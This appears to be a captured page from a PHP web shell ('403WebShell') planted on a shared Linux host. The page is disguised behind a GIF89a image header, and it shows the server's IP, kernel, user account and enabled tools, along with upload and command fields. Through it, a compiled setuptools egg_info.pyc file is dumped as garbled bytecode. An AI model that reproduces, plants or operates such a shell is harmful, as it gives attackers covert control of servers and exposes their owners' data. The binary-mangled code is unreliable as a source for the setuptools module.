GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/site-packages/setuptools/command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyc
�
�fc@s@dZddlmZddlmZddlmZddlm	Z	ddlZddlZddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&ddl'j(Z(ddl)m*Z*ddlm+Z+d�Z,defd��YZ-defd��YZdefd��YZ.d�Z/d�Z0d�Z1d�Z2d�Z3d�Z4d�Z5d�Z6e7d �Z8d!�Z9d"�Z:dS(#sUsetuptools.command.egg_info

Create a distribution's .egg-info directory and contentsi����(tFileList(tDistutilsInternalError(tconvert_path(tlogN(tsix(tmap(tCommand(tsdist(twalk_revctrl(tedit_config(t	bdist_egg(tparse_requirementst	safe_namet
parse_versiontsafe_versiontyield_linest
EntryPointtiter_entry_pointstto_filename(tglob(t	packagingcCs�d}|jtjj�}tjtj�}d|f}xt|�D]\}}|t|�dk}|dkr�|r�|d7}qG|d||f7}qGnd}t|�}	x�||	krA||}
|
dkr�||d7}nJ|
d	kr||7}n1|
d
kr!|d}||	krB||dkrB|d}n||	krk||dkrk|d}nx*||	kr�||dkr�|d}qnW||	kr�|tj|
�7}q4||d|!}d}
|ddkr�d
}
|d}n|
tj|�7}
|d|
f7}|}n|tj|
�7}|d7}q�W|sG||7}qGqGW|d7}tj|dtj	tj
B�S(s�
    Translate a file path glob like '*.txt' in to a regular expression.
    This differs from fnmatch.translate which allows wildcards to match
    directory separators. It also knows about '**/' which matches any number of
    directories.
    ts[^%s]is**s.*s
(?:%s+%s)*it*t?t[t!t]t^s[%s]s\Ztflags(tsplittostpathtseptretescapet	enumeratetlentcompilet	MULTILINEtDOTALL(RtpattchunksR t
valid_chartctchunkt
last_chunktit	chunk_lentchartinner_itinnert
char_class((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyttranslate_pattern$sV







	
tegg_infocBs�eZdZddddgZdgZidd
6Zd
�Zed��Zej	d��Zd�Z
d�Zed�Z
d�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(s+create a distribution's .egg-info directorys	egg-base=tesLdirectory containing .egg-info directories (default: top of the source tree)stag-datetds0Add date stamp (e.g. 20050528) to version numbers
tag-build=tbs-Specify explicit tag to add to version numbersno-datetDs"Don't include date stamp [default]cCsLd|_d|_d|_d|_d|_d|_t|_d|_	dS(Ni(
tNonetegg_nametegg_versiontegg_baseR5t	tag_buildttag_datetFalsetbroken_egg_infotvtags(tself((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytinitialize_options�s							cCsdS(N((RC((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyttag_svn_revision�scCsdS(N((RCtvalue((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRE�scCs@tj�}|j�|d<d|d<t|td|��dS(s�
        Materialize the value of date into the
        build tag. Install build keys in a deterministic order
        to avoid arbitrary reordering on subsequent builds.
        R>iR?R5N(tcollectionstOrderedDictttagsR	tdict(RCtfilenameR5((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytsave_version_info�s
cCs�t|jj��|_|j�|_|j�|_t|j�}yKt	|t
jj�}|ridnd}t
t||j|jf��Wn3tk
r�tjjd|j|jf��nX|jdkr|jj}|p�ijdtj�|_n|jd�t|j�d|_|jtjkrXtjj|j|j�|_nd|jkrt|j�n|j|jj_|jj }|dk	r�|j!|jj"�kr�|j|_#t|j�|_$d|j_ ndS(Ns%s==%ss%s===%ss2Invalid distribution name or version syntax: %s-%sRR=s	.egg-infot-(%Rtdistributiontget_nameR;RIRBttagged_versionR<R
t
isinstanceRtversiontVersiontlistRt
ValueErrort	distutilsterrorstDistutilsOptionErrorR=R:tpackage_dirtgetRtcurdirtensure_dirnameRR5Rtjointcheck_broken_egg_infotmetadatat
_patched_disttkeytlowert_versiont_parsed_version(RCtparsed_versiont
is_versiontspectdirstpd((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytfinalize_options�s8!
	!
!
$cCsl|r|j|||�nLtjj|�rh|dkrX|rXtjd||�dS|j|�ndS(s�Write `data` to `filename` or delete if empty

        If `data` is non-empty, this routine is the same as ``write_file()``.
        If `data` is empty but not ``None``, this is the same as calling
        ``delete_file(filename)`.  If `data` is ``None``, then this is a no-op
        unless `filename` exists, in which case a warning is issued about the
        orphaned file (if `force` is false), or deleted (if `force` is true).
        s$%s not set in setup(), but %s existsN(t
write_fileRRtexistsR:Rtwarntdelete_file(RCtwhatRKtdatatforce((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_or_delete_file�s	
cCsdtjd||�tjr.|jd�}n|js`t|d�}|j|�|j�ndS(s�Write `data` to `filename` (if not a dry run) after announcing it

        `what` is used in a log message to identify what is being written
        to the file.
        swriting %s to %ssutf-8twbN(	RtinfoRtPY3tencodetdry_runtopentwritetclose(RCRoRKRptf((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRk�s		
cCs-tjd|�|js)tj|�ndS(s8Delete `filename` (if not a dry run) after announcing itsdeleting %sN(RRtRwRtunlink(RCRK((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRn�s	cCsE|jj�}|jr4|j|j�r4t|�St||j�S(N(RNtget_versionRBtendswithR(RCRR((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRPs
cCs�|j|j�|jj}xXtd�D]J}|jd|�|j�}|||jtj	j
|j|j��q)Wtj	j
|jd�}tj	j|�r�|j|�n|j
�dS(Nsegg_info.writerst	installersnative_libs.txt(tmkpathR5RNtfetch_build_eggRtrequiretresolvetnameRRR]RlRntfind_sources(RCRteptwritertnl((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytrun	s,cCsBd}|jr||j7}n|jr>|tjd�7}n|S(NRs-%Y%m%d(R>R?ttimetstrftime(RCRR((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRIs		cCsJtjj|jd�}t|j�}||_|j�|j|_dS(s"Generate SOURCES.txt manifest filesSOURCES.txtN(	RRR]R5tmanifest_makerRNtmanifestR�tfilelist(RCtmanifest_filenametmm((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR� s
	
cCs�|jd}|jtjkr:tjj|j|�}ntjj|�r�tjddddd||j	�|j	|_
||_	ndS(Ns	.egg-infoRMiNs�
Note: Your current .egg-info directory has a '-' in its name;
this will not work correctly with "setup.py develop".

Please rename %s to %s to correct this problem.
(R;R=RR[RR]RlRRmR5RA(RCtbei((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR^(s

(s	egg-base=R6sLdirectory containing .egg-info directories (default: top of the source tree)(stag-dateR7s0Add date stamp (e.g. 20050528) to version number(s
tag-build=R8s-Specify explicit tag to add to version number(sno-dateR9s"Don't include date stamp [default](t__name__t
__module__tdescriptiontuser_optionstboolean_optionstnegative_optRDtpropertyREtsetterRLRjR@RrRkRnRPR�RIR�R^(((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR5ws*		
	
	
	/						RcBs�eZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�ZRS(cCs�|j|�\}}}}|dkrw|jddj|��x�|D](}|j|�sHtjd|�qHqHWnx|dkr�|jddj|��xO|D](}|j|�s�tjd|�q�q�Wn|dkr/|jd	dj|��x�|D](}|j|�stjd
|�qqWn�|dkr�|jddj|��x�|D](}|j|�s\tjd
|�q\q\Wnd|dkr�|jd|dj|�f�x5|D].}|j	||�s�tjd||�q�q�Wn�|dkr[|jd|dj|�f�x�|D].}|j
||�s&tjd||�q&q&Wn�|dkr�|jd|�|j|�s�tjd|�q�nR|dkr�|jd|�|j|�s�tjd|�q�nt
d|��dS(Ntincludesinclude t s%warning: no files found matching '%s'texcludesexclude s9warning: no previously-included files found matching '%s'sglobal-includesglobal-include s>warning: no files found matching '%s' anywhere in distributionsglobal-excludesglobal-exclude sRwarning: no previously-included files matching '%s' found anywhere in distributionsrecursive-includesrecursive-include %s %ss:warning: no files found matching '%s' under directory '%s'srecursive-excludesrecursive-exclude %s %ssNwarning: no previously-included files matching '%s' found under directory '%s'tgraftsgraft s+warning: no directories found matching '%s'tprunesprune s6no previously-included directories found matching '%s's'this cannot happen: invalid action '%s'(t_parse_template_linetdebug_printR]R�RRmR�tglobal_includetglobal_excludetrecursive_includetrecursive_excludeR�R�R(RCtlinetactiontpatternstdirtdir_patterntpattern((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytprocess_template_line;sd

	
	
		
		
		
	
cCsrt}xett|j�ddd�D]D}||j|�r&|jd|j|�|j|=t}q&q&W|S(s�
        Remove all files from the file list that match the predicate.
        Return True if any matching files were removed
        ii����s
 removing (R@trangeR$tfilesR�tTrue(RCt	predicatetfoundR.((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt
_remove_files�s&

cCsHgt|�D]}tjj|�s
|^q
}|j|�t|�S(s#Include files that match 'pattern'.(RRRtisdirtextendtbool(RCR�R{R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s1
cCst|�}|j|j�S(s#Exclude files that match 'pattern'.(R4R�tmatch(RCR�R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsftjj|d|�}gt|dt�D]}tjj|�s+|^q+}|j|�t|�S(sN
        Include all files anywhere in 'dir/' that match the pattern.
        s**t	recursive(RRR]RR�R�R�R�(RCR�R�tfull_patternR{R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s

cCs.ttjj|d|��}|j|j�S(sM
        Exclude any file anywhere in 'dir/' that match the pattern.
        s**(R4RRR]R�R�(RCR�R�R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsOgt|�D]%}tjj|�D]}|^q#q
}|j|�t|�S(sInclude all files from 'dir/'.(RRVR�tfindallR�R�(RCR�t	match_dirtitemR�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s
%
cCs+ttjj|d��}|j|j�S(sFilter out files from 'dir/'.s**(R4RRR]R�R�(RCR�R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsy|jdkr|j�nttjjd|��}g|jD]}|j|�rA|^qA}|j|�t	|�S(s�
        Include all files anywhere in the current directory that match the
        pattern. This is very inefficient on large file trees.
        s**N(
tallfilesR:R�R4RRR]R�R�R�(RCR�R�R{R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s
+
cCs+ttjjd|��}|j|j�S(sD
        Exclude all files anywhere that match the pattern.
        s**(R4RRR]R�R�(RCR�R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsN|jd�r|d }nt|�}|j|�rJ|jj|�ndS(Ns
i����(R~Rt
_safe_pathR�tappend(RCR�R((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s

cCs |jjt|j|��dS(N(R�R�tfilterR�(RCtpaths((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCs"tt|j|j��|_dS(s�
        Replace self.files with only safe paths

        Because some owners of FileList manipulate the underlying
        ``files`` attribute directly, this method must be called to
        repair those paths.
        N(RTR�R�R�(RC((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt_repair�scCs�d}tj|�}|dkr6tjd|�tStj|d�}|dkrktj||d�tSy,tjj	|�s�tjj	|�r�t
SWn*tk
r�tj||tj
��nXdS(Ns!'%s' not %s encodable -- skippings''%s' in unexpected encoding -- skippingsutf-8(t
unicode_utilstfilesys_decodeR:RRmR@t
try_encodeRRRlR�tUnicodeEncodeErrortsystgetfilesystemencoding(RCRtenc_warntu_patht	utf8_path((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s$
(R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�(((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR8s	I	
			
		
						
R�cBseeZdZd�Zd�Zd�Zd�Zd�Zd�Ze	d��Z
d�Zd	�ZRS(
sMANIFEST.incCs(d|_d|_d|_d|_dS(Ni(tuse_defaultsR�t
manifest_onlytforce_manifest(RC((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRD�s			cCsdS(N((RC((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRjscCs�t�|_tjj|j�s.|j�n|j�tjj|j�rZ|j	�n|j
�|jj�|jj�|j�dS(N(
RR�RRRlR�twrite_manifesttadd_defaultsttemplatet
read_templatetprune_file_listtsorttremove_duplicates(RC((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s





cCs"tj|�}|jtjd�S(Nt/(R�R�treplaceRR (RCR((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt_manifest_normalizescCsb|jj�g|jjD]}|j|�^q}d|j}|jt|j|f|�dS(so
        Write the file list in 'self.filelist' to the manifest file
        named by 'self.manifest'.
        swriting manifest file '%s'N(R�R�R�R�R�texecuteRk(RCR{R�tmsg((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s
(
cCs&|j|�s"tj||�ndS(N(t_should_suppress_warningRRm(RCR�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRm$scCstjd|�S(s;
        suppress missing-file warnings from sdist
        sstandard file .*not found(R!R�(R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�(scCs�tj|�|jj|j�|jj|j�tt��}|r[|jj|�n"t	j
j|j�r}|j�n|j
d�}|jj|j�dS(NR5(RR�R�R�R�R�RTRR�RRRlt
read_manifesttget_finalized_commandR�R5(RCtrcfilestei_cmd((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�/s

cCsy|jd�}|jj�}|jj|j�|jj|�tjtj	�}|jj
d|d|dd�dS(Ntbuilds(^|s)(RCS|CVS|\.svn)tis_regexi(R�RNtget_fullnameR�R�t
build_baseR!R"RR texclude_pattern(RCR�tbase_dirR ((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�;s(
R�R�R�RDRjR�R�R�RmtstaticmethodR�R�R�(((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s							cCsGdj|�}|jd�}t|d��}|j|�WdQXdS(s{Create a file with the specified name and write 'contents' (a
    sequence of strings without line terminators) to it.
    s
sutf-8RsN(R]RvRxRy(RKtcontentsR{((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyRkEscCs�tjd|�|js�|jj}|j|j|_}|j|j|_}z|j	|j
�Wd|||_|_Xt|jdd�}t
j|j
|�ndS(Ns
writing %stzip_safe(RRtRwRNR_R<RRR;R�twrite_pkg_infoR5tgetattrR:R
twrite_safety_flag(tcmdtbasenameRKR_toldvertoldnametsafe((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�Rs	cCs&tjj|�r"tjd�ndS(NssWARNING: 'depends.txt' is not used by setuptools 0.6!
Use the install_requires/extras_require setup() args instead.(RRRlRRm(R�R�RK((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytwarn_depends_obsoleteescCs;t|pd�}d�}t||�}|j|�dS(NcSs|dS(Ns
((R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt<lambda>oR((RRt
writelines(tstreamtreqstlinest	append_cr((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt_write_requirementsms	cCs�|j}tj�}t||j�|jp1i}x>t|�D]0}|jdjt	���t|||�qAW|j
d||j��dS(Ns
[{extra}]
trequirements(RNRtStringIOR�tinstall_requirestextras_requiretsortedRytformattvarsRrtgetvalue(R�R�RKtdistRpR�textra((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_requirementsts	cCs<tj�}t||jj�|jd||j��dS(Nssetup-requirements(tioR�R�RNtsetup_requiresRrR�(R�R�RKRp((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_setup_requirementsscCsetjg|jj�D]}|jdd�d^q�}|jd|djt|��d�dS(Nt.iistop-level namess
(RJtfromkeysRNtiter_distribution_namesRRkR]R�(R�R�RKtktpkgs((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_toplevel_names�s2cCst|||t�dS(N(t	write_argR�(R�R�RK((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt
overwrite_arg�scCsgtjj|�d}t|j|d�}|dk	rMdj|�d}n|j||||�dS(Nis
(RRtsplitextR�RNR:R]Rr(R�R�RKRqtargnameRF((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s
cCs�|jj}t|tj�s*|dkr3|}n�|dk	r�g}x�t|j��D]n\}}t|tj�s�tj	||�}dj
ttt|j
����}n|jd||f�qXWdj
|�}n|jd||t�dS(Ns
s	[%s]
%s

Rsentry points(RNtentry_pointsRQRtstring_typesR:R�titemsRtparse_groupR]RtstrtvaluesR�RrR�(R�R�RKR�RptsectionR�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt
write_entries�s	'cCs}tjdt�tjjd�rytjd��C}x9|D]1}tj	d|�}|r;t
|jd��Sq;WWdQXndS(sd
    Get a -r### off of PKG-INFO Version in case this is an sdist of
    a subversion revision.
    s$get_pkg_info_revision is deprecated.sPKG-INFOsVersion:.*-r(\d+)\s*$iNi(twarningsRmtDeprecationWarningRRRlRRxR!R�tinttgroup(R{R�R�((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pytget_pkg_info_revision�s
 (;t__doc__tdistutils.filelistRt	_FileListtdistutils.errorsRtdistutils.utilRRVRRR!R�RRR�RGtsetuptools.externRtsetuptools.extern.six.movesRt
setuptoolsRtsetuptools.command.sdistRRtsetuptools.command.setoptR	tsetuptools.commandR
t
pkg_resourcesRRR
RRRRRtsetuptools.unicode_utilsR�tsetuptools.globRRR4R5R�RkR�R�R�RRR
RR@RRR(((s?/usr/lib/python2.7/site-packages/setuptools/command/egg_info.pyt<module>sN:	S��I	
						
		

Youez - 2016 - github.com/yon3zu
LinuXploit